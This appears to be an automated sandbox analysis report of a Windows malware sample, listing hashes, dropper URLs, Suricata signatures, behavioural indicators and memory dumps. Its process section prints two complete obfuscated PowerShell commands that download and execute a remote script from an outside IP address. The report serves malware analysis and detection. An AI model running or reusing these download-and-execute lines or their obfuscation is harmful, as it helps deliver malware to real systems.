Analysis
- max time kernel
110s - max time network
137s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
10/01/2022, 09:32
General
- Target e825565216f6397a04fde97547b5f106.exe
- Size 24KB
- Sample220110-lhmfcsedcp
- SHA256 7e0039e89e08c86ef23875cc3abb955184c389bd51f491218da2fce7b824bdcf
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://92.255.57.195/01/AU.PNG
Extracted
-
ps1
-
ps1.dropper
http://92.255.57.195/01/YES.PNG
Signatures
- suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
- suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
- suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
- Blocklisted process makes network request 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\e825565216f6397a04fde97547b5f106.exe"C:\Users\Admin\AppData\Local\Temp\e825565216f6397a04fde97547b5f106.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='({end}{end}Ne{end}{end}w{end}-Obj{end}ec{end}{end}t N{end}{end}et{end}.W{end}{end}e'.replace('{end}', ''); $c4='bC{end}li{end}{end}en{end}{end}t).D{end}{end}ow{end}{end}nl{end}{end}{end}o'.replace('{end}', ''); $c3='ad{end}{end}St{end}rin{end}{end}g{end}(''ht{end}tp{end}://92.255.57.195/01/AU.PNG'')'.replace('{end}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({end}{end}Ne{end}{end}w{end}-Obj{end}ec{end}{end}t N{end}{end}et{end}.W{end}{end}e'.replace('{end}', ''); $c4='bC{end}li{end}{end}en{end}{end}t).D{end}{end}ow{end}{end}nl{end}{end}{end}o'.replace('{end}', ''); $c3='ad{end}{end}St{end}rin{end}{end}g{end}(''ht{end}tp{end}://92.255.57.195/01/YES.PNG'')'.replace('{end}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X2⤵
- Blocklisted process makes network request
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3720-137-0x0000000007D80000-0x00000000080D0000-memory.dmp
memory/3720-215-0x000000000A790000-0x000000000AC8E000-memory.dmp
memory/3720-214-0x0000000008640000-0x0000000008662000-memory.dmp
memory/3720-119-0x00000000030C0000-0x00000000030C1000-memory.dmp
memory/3720-213-0x0000000009950000-0x00000000099E4000-memory.dmp
memory/3720-122-0x00000000030C0000-0x00000000030C1000-memory.dmp
memory/3720-200-0x0000000004A93000-0x0000000004A94000-memory.dmp
memory/3720-124-0x0000000004A00000-0x0000000004A36000-memory.dmp
memory/3720-195-0x0000000009360000-0x000000000937A000-memory.dmp
memory/3720-125-0x0000000004A90000-0x0000000004A91000-memory.dmp
memory/3720-127-0x0000000004A92000-0x0000000004A93000-memory.dmp
memory/3720-194-0x0000000009C10000-0x000000000A288000-memory.dmp
memory/3720-130-0x0000000007450000-0x0000000007A78000-memory.dmp
memory/3720-146-0x00000000030C0000-0x00000000030C1000-memory.dmp
memory/3720-143-0x0000000008570000-0x00000000085E6000-memory.dmp
memory/3720-132-0x0000000007390000-0x00000000073B2000-memory.dmp
memory/3720-134-0x0000000007B30000-0x0000000007B96000-memory.dmp
memory/3720-140-0x0000000008240000-0x000000000828B000-memory.dmp
memory/3720-136-0x0000000007D10000-0x0000000007D76000-memory.dmp
memory/3720-139-0x0000000008210000-0x000000000822C000-memory.dmp
memory/4112-138-0x00000000074D0000-0x0000000007820000-memory.dmp
memory/4112-126-0x00000000064E0000-0x00000000064E1000-memory.dmp
memory/4112-133-0x0000000007460000-0x00000000074C6000-memory.dmp
memory/4112-141-0x00000000078E0000-0x00000000078FC000-memory.dmp
memory/4112-142-0x0000000007E00000-0x0000000007E4B000-memory.dmp
memory/4112-131-0x0000000006A80000-0x0000000006AA2000-memory.dmp
memory/4112-144-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/4112-129-0x0000000006B20000-0x0000000007148000-memory.dmp
memory/4112-156-0x00000000089A0000-0x00000000089DC000-memory.dmp
memory/4112-189-0x0000000008A60000-0x0000000008AD6000-memory.dmp
memory/4112-128-0x00000000064E2000-0x00000000064E3000-memory.dmp
memory/4112-135-0x0000000007280000-0x00000000072E6000-memory.dmp
memory/4112-198-0x0000000009E80000-0x000000000A4F8000-memory.dmp
memory/4112-199-0x00000000095A0000-0x00000000095BA000-memory.dmp
memory/4112-123-0x00000000064A0000-0x00000000064D6000-memory.dmp
memory/4112-201-0x0000000009950000-0x0000000009962000-memory.dmp
memory/4112-202-0x00000000064E3000-0x00000000064E4000-memory.dmp
memory/4112-207-0x0000000009990000-0x0000000009998000-memory.dmp
memory/4112-208-0x0000000009A50000-0x0000000009AEC000-memory.dmp
memory/4112-121-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/4112-120-0x00000000003F0000-0x00000000003F1000-memory.dmp